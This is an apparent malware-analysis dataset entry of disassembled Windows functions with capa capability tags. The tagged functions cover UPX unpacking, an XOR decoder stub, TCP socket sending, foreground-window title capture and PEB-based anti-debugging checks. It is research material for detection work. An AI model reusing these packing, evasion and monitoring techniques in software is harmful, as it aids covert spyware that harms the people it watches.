joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409500
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
or ebp, 0xffffffff
jmp 0x409522
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409529
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409518
mov eax, 1
add ebx, ebx
jne 0x40953b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x409530
jne 0x40954c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409530
xor ecx, ecx
sub eax, 3
jb 0x409560
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4095d2
mov ebp, eax
add ebx, ebx
jne 0x40956b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x409578
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40959c
inc ecx
add ebx, ebx
jne 0x409588
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40957d
jne 0x409599
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40957d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4095bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4095ad
jmp 0x40951e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4095bc
add edi, ecx
jmp 0x40951e
pop esi
mov edi, esi
mov ecx, 0x3a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4095da
cmp byte [edi], 1
jne 0x4095da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4095df
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x40964e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9690]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9710]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40960c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9718]
or eax, eax
je 0x409648
mov dword [ebx], eax
add ebx, 4
jmp 0x409629
call dword [esi + 0x9714]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40967f
cmp al, 0xef
ja 0x409672
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x409654
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x409661
mov ebp, dword [esi + 0x971c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4096b3
sub esp, 0xffffff80
jmp 0x401c39
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push edi
push esi
sub esp, 0x1a0
mov esi, ecx
lea edi, [esp + 0x1b0]
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10001079
lea ebx, [esp + 4]
mov word [ebx - 4], 2
movzx eax, word [edi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebx - 2], ax
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x10001059
mov eax, dword [edi]
push ebx
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
mov eax, esp
push 0x10
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
setne bl
jmp 0x1000107b
xor ebx, ebx
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x1000108f
inc eax
push eax
push dword [edi]
call fcn.10005d29
add esp, 8
mov eax, ebx
add esp, 0x1a0
pop esi
pop edi
pop ebx
ret 0x1c

Function at 0x100010c8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x2018
call fcn.10013080
mov esi, ecx
mov edi, dword [esp + 0x202c]
mov eax, dword [0x100409a8]
xor eax, esp
mov dword [esp + 0x2014], eax
call fcn.1001c9b6
mov ecx, dword [edi + 4]
sub ecx, dword [edi]
xor edi, edi
mov dword [esp + 0x10], eax
sar eax, 0x1f
mov dword [esp + 0xc], eax
mov ebp, ecx
test ecx, ecx
je 0x100011c0
mov eax, 0x1ff0
cmp ebp, eax
mov ebx, 0x1ff0
cmovl ebx, ebp
mov ecx, dword [esi + 8]
call fcn.100011e2
mov ecx, dword [esp + 0x202c]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
sub ecx, eax
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], ebx
add eax, edi
push ebx
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.10018510
add esp, 0xc
mov eax, ebx
add eax, 0x10
je 0x1000118e
mov dword [esp + 4], ebp
mov dword [esp + 8], edi
lea edi, [esp + 0x14]
mov dword [esp], eax
mov ebp, eax
push 0
push ebp
push edi
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001197
add edi, eax
sub ebp, eax
jne 0x10001174
jmp 0x1000119d
mov dword [esp], 0
jmp 0x100011a5
xor eax, eax
dec eax
mov dword [esp], eax
mov edi, dword [esp + 8]
mov ebp, dword [esp + 4]
push dword [esi + 8]
call fcn.100150bd
add esp, 4
add edi, ebx
mov ecx, ebp
sub ecx, ebx
cmp dword [esp], 0xffffffff
jne 0x10001104
test ebp, ebp
sete bl
mov ecx, dword [esp + 0x2014]
xor ecx, esp
call fcn.10012fb2
mov eax, ebx
add esp, 0x2018
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x10001456
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10012690
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
mov dword [eax + 8], 0
push 0x10
call fcn.10012f4c
add esp, 4
xor esi, esi
inc esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov dword [eax], vtable.std::_Ref_count_obj2_struct_std::atomic_bool__.0
mov ecx, eax
add ecx, 0xc
mov byte [eax + 0xc], 0
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x4c]
mov dword [edx], ecx
lea ecx, [ebp + 8]
add ecx, 0x30
mov dword [ebp - 0x10], esi
lea eax, [ebp - 0x48]
mov esi, dword [ebp - 0x20]
mov dword [eax], esi
lea esi, [ebp - 0x28]
push ecx
push edx
push eax
lea eax, [ebp + 0x10]
push eax
push 3
push esi
call fcn.1000a134
add esp, 0x18
xor eax, eax
lea edx, [ebp - 0x3c]
mov dword [edx - 8], eax
mov dword [edx - 4], eax
mov ecx, dword [ebp - 0x34]
lock inc dword [ecx + 4]
movsd xmm0, qword [ebp - 0x30]
movsd qword [edx - 8], xmm0
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov dword [edx], ecx
mov byte [edx + 4], 1
mov ecx, dword [ebp - 0x20]
add ecx, 0x20
mov dword [ebp - 0x10], 2
lea eax, [ebp - 0x54]
lea edx, [ebp + 8]
push edx
push eax
call fcn.1000a006
mov esi, dword [ebp - 0x54]
lea ecx, [esi + 0x18]
lea edi, [ebp - 0x44]
push edi
call fcn.100060c4
add esi, 0x20
mov ecx, esi
lea esi, [ebp - 0x3c]
push esi
call fcn.10006102
mov ecx, esi
call fcn.1000161c
mov esi, dword [edi + 4]
test esi, esi
je 0x10001568
lock dec dword [esi + 4]
jne 0x10001568
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock dec dword [esi + 8]
jne 0x10001568
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x28]
call fcn.1000161c
mov esi, dword [ebp - 0x2c]
test esi, esi
lea edi, [ebp + 0x10]
lea ebx, [ebp + 8]
je 0x10001596
lock dec dword [esi + 4]
jne 0x10001596
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock dec dword [esi + 8]
jne 0x10001596
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebx + 0x2c]
test ecx, ecx
je 0x100015aa
xor eax, eax
cmp ecx, edi
setne al
mov edx, dword [ecx]
push eax
call dword [edx + 0x10]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret 0x34
Function at 0x100030cc
Capabilities:
Get graphical window text

Disassembly:
push edi
push esi
sub esp, 0x200
mov esi, dword [esp + 0x20c]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x10003111
mov edi, esp
push 0x100
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
xor eax, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], eax
push edi
call fcn.1001e252
add esp, 4
mov ecx, esi
push eax
push edi
jmp 0x10003127
xor eax, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], eax
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov ecx, esi
push eax
push 0x10037574
call fcn.10007472
mov eax, esi
add esp, 0x200
pop esi
pop edi
ret
Function at 0x1000819e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10012710
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov esi, dword [ebp + 8]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
push 0x24
call fcn.10012f4c
add esp, 4
mov ecx, dword [edi]
mov dword [eax], ecx
lea ecx, [eax + 4]
xor edi, edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], edi
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movups xmmword [eax + 4], xmm0
mov edx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0x10
jb 0x10008204
mov esi, dword [esi]
mov dword [ebp - 0x10], edi
push edx
push esi
call fcn.10006fac
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x1c], eax
mov dword [ebp - 0x24], ecx
mov edi, dword [ebp - 0x2c]
lea esi, [edi + 4]
xor eax, eax
push esi
push eax
push ecx
push 0x10008654
push eax
push eax
call fcn.1001b49c
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x1000825d
lea ecx, [ebp - 0x24]
mov dword [ecx], 0
call fcn.100086ca
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi], 0
mov dword [ebp - 0x10], 1
push 6
call fcn.10013d76
add esp, 4
push ebp
sub esp, 0x18
add ebp, 0xc
lea ecx, [ebp - 0x24]
call fcn.100086ca
add esp, 0x18
pop ebp
ret
Function at 0x1000df3a
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x80
mov esi, esp
mov dword [esi + 0x68], ebp
mov dword [esi + 0x28], edx
mov dword [esi + 0x24], ecx
lea eax, [esi + 0x70]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10012750
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword fs:[0], eax
lea eax, [esi + 0x2d]
mov dword [eax - 1], ecx
lea eax, [esi + 0x30]
push eax
call fcn.100030cc
add esp, 4
mov eax, dword [esi + 0x28]
test byte [eax], 1
jne 0x1000e0c5
mov dword [esi + 0x78], 0
lea eax, [esi + 0x48]
push eax
call fcn.100030cc
add esp, 4
lea eax, [esi + 0x2d]
cmp byte [eax], 0
je 0x1000e098
lea ecx, [esi + 0x30]
lea eax, [esi + 0x48]
push eax
call fcn.1000e166
test al, al
jne 0x1000e098
cmp dword [esi + 0x5c], 8
lea eax, [esi + 0x48]
jb 0x1000dfd7
mov eax, dword [esi + 0x48]
mov edx, dword [esi + 0x58]
mov dword [esi + 0x78], 1
lea ecx, [esi + 0x30]
push edx
push eax
call fcn.1000e1b0
xorps xmm0, xmm0
movaps xmmword [esi + 0x10], xmm0
mov dword [esi + 0x64], 0x3cec4d84
mov dword [esi + 0x60], 0xd94a4fc3
xor edx, edx
mov cl, byte [esi + edx + 0x60]
mov byte [esi + 0xb], cl
mov eax, dword [esi + 0x18]
cmp eax, dword [esi + 0x1c]
je 0x1000e018
mov byte [eax], cl
inc dword [esi + 0x18]
jmp 0x1000e032
mov dword [esi + 0x78], 2
lea ecx, [esi + 0x14]
mov dword [esi + 0xc], edx
lea edx, [esi + 0xb]
push edx
push eax
call fcn.10007518
mov edx, dword [esi + 0xc]
inc edx
cmp edx, 8
jne 0x1000e002
mov dword [esi + 0xc], esp
push eax
sub esp, 0x14
mov ecx, esp
xor eax, eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
cmp dword [esi + 0x44], 8
lea eax, [esi + 0x30]
jb 0x1000e05b
mov eax, dword [esi + 0x30]
mov edx, dword [esi + 0x40]
mov dword [esi + 0x78], 2
push edx
push eax
call fcn.1000796c
lea ecx, [esi + 0x10]
call fcn.100094ce
mov esp, dword [esi + 0xc]
mov ecx, dword [esi + 0x24]
mov eax, dword [ecx]
lea edx, [esi + 0x14]
push edx
call dword [eax]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000e098
mov ecx, dword [esi + 0x1c]
sub ecx, eax
push ecx
push eax
call fcn.10005d29
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x5c]
cmp eax, 8
jb 0x1000df8c
add eax, eax
add eax, 2
push eax
push dword [esi + 0x48]
call fcn.10005d29
add esp, 8
jmp 0x1000df8c
mov eax, dword [esi + 0x44]
cmp eax, 8
jb 0x1000e0de
add eax, eax
add eax, 2
push eax
push dword [esi + 0x30]
call fcn.10005d29
add esp, 8
mov eax, dword [esi + 0x70]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000efa8
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10012ca0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, edi
push ebx
call fcn.100133c5
mov dword [edi + 4], ebx
mov byte [edi + 8], bl
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov dword [edi + 0x14], ebx
mov word [edi + 0x18], bx
mov dword [edi + 0x1c], ebx
mov word [edi + 0x20], bx
mov dword [edi + 0x24], ebx
mov byte [edi + 0x28], bl
mov dword [edi + 0x2c], ebx
mov byte [edi + 0x30], bl
test esi, esi
mov dword [ebp - 0x20], edi
je 0x1000f037
mov dword [ebp - 0x10], 0
push esi
push edi
call fcn.10013725
add esp, 8
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, dword [ebp - 0x20]
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x10], 0
push str.bad_locale_name
call fcn.10013e93
add esp, 4
nop
push ebp
sub esp, 8
add ebp, 0xc
mov eax, dword [ebp - 0x20]
mov esi, eax
mov eax, dword [eax + 0x2c]
test eax, eax
je 0x1000f068
push eax
call fcn.1001cc2f
add esp, 4
mov eax, esi
mov dword [esi + 0x2c], 0
mov eax, dword [esi + 0x24]
test eax, eax
je 0x1000f081
push eax
call fcn.1001cc2f
add esp, 4
mov eax, esi
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000f09a
push eax
call fcn.1001cc2f
add esp, 4
mov eax, esi
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000f0b3
push eax
call fcn.1001cc2f
add esp, 4
mov eax, esi
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1000f0cc
push eax
call fcn.1001cc2f
add esp, 4
mov eax, esi
mov dword [esi + 0xc], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000f0e5
push eax
call fcn.1001cc2f
add esp, 4
mov ecx, esi
mov dword [esi + 4], 0
call fcn.100133f6
add esp, 8
pop ebp
ret
Function at 0x1000f5ee
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
lea esi, [ebp - 0x18]
mov dword [esi - 4], esp
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0x10012cd0
mov eax, dword fs:[0]
mov dword [esi], eax
mov dword fs:[0], esi
mov dword [ebp - 0x24], ecx
mov dword [ecx], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
push 8
call fcn.10012f4c
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [esi + 8], 0
push 1
call fcn.100138ff
add esp, 4
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 0x34], ecx
lea ecx, [eax + 4]
mov dword [eax + 0xc], ecx
lea ecx, [eax + 8]
mov dword [eax + 0x10], ecx
lea ecx, [eax + 0x14]
mov dword [eax + 0x1c], ecx
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea ecx, [eax + 0x24]
mov dword [eax + 0x2c], ecx
lea ecx, [eax + 0x28]
mov dword [eax + 0x30], ecx
xor ecx, ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 4], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x24], ecx
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10012576
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10012de0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
push 4
call fcn.10012f4c
add esp, 4
mov edi, eax
mov dword [eax], ebx
lea eax, [esi + 4]
xor ebx, ebx
mov dword [ebp - 0x24], eax
push eax
push ebx
push edi
push 0x10012612
push ebx
push ebx
call fcn.1001b49c
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x100125e8
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x24]
mov dword [eax], ebx
mov dword [ebp - 0x10], ebx
push 6
call fcn.10013d76
add esp, 4
nop
push ebp
sub esp, 0x18
add ebp, 0xc
push dword [ebp - 0x20]
call fcn.10012f7c
add esp, 0x1c
pop ebp
ret

Function at 0x100154c0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
push 0x105
call fcn.10015536
mov edi, eax
test edi, edi
jne 0x100154e7
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, esi
jmp 0x10015530
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ebx, 0xffffffff
cmp eax, ebx
je 0x1001552b
test al, 0x10
je 0x1001552b
test eax, 0x400
je 0x10015527
push 0x2000000
push 0x80
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.100153e0
push dword [ebp - 4]
mov esi, eax
call fcn.10015414
test esi, esi
jne 0x1001552b
xor edx, edx
jmp 0x1001552d
mov edx, ebx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x100155af
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1001558b
pop esi
leave
ret 8

Function at 0x1001b771
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001b7b0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001b7b0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001b7b0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001b7b0
cmp dword [ecx + 0x74], 0xe
jbe 0x1001b7b0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001f5f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001f61d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001f61d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10021b64
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10034fdc
push 0x10034fd4
push str.FlsAlloc
push 0x1f
call fcn.10022024
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10021b98
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x10021b9e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10021be2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10034fec
push 0x10034fe4
push str.FlsGetValue
push 0x21
call fcn.10022024
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10021c19
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10021c21
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10034ff4
push 0x10034fec
push str.FlsSetValue
push 0x22
call fcn.10022024
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10021c5b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10025296
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10025333
push ebx
push esi
call fcn.10025336
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001f9f1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100252e0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10025332
push edi
push eax
call fcn.1001f8e1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10025300
call fcn.1001f8a7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10025331
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001f9f1
add esp, 0x20
test eax, eax
jne 0x1002531f
push edi
call fcn.1001f8a7
jmp 0x10025327
push ebx
call fcn.1001f8a7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret